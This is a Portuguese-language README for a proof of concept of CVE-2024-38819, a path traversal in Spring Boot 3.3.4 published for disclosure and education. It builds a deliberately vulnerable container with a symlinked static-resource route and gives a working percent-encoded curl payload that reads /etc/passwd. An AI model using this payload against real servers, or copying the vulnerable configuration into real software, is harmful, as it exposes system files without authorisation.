
Prova de conceito demonstrando uma exploração de travessia de caminho no Spring Boot 3.3.4 via link simbólico e travessia de diretório codificada em porcentagem, para pesquisa de segurança e educação.
Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38819, que reportei, demonstrando um exploit de path traversal.
Construir a imagem Docker (Spring Boot 3.3.4, baseado no Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
Executar o container e expor a porta 8080 para a máquina anfitriã
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
Executar o seguinte comando para executar o PoC e confirmar a vulnerabilidade
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.
Criar PathTraversalDemoApplication.java com o seguinte código para configurar o roteamento de arquivos estáticos usando RouterFunction e FileSystemResource:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Adicionar o seguinte comando ao Dockerfile para criar um link simbólico:
RUN ln -s /static /app/static/link
Criar um payload que utiliza percent-encoding para atravessar diretórios através do link simbólico.
/static/link/%2e%2e/etc/passwdUsar o seguinte comando curl para executar o PoC e verificar se o ataque é bem-sucedido:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.
Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de usá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e que você possui a devida autorização. O autor não se responsabiliza por qualquer uso indevido deste código.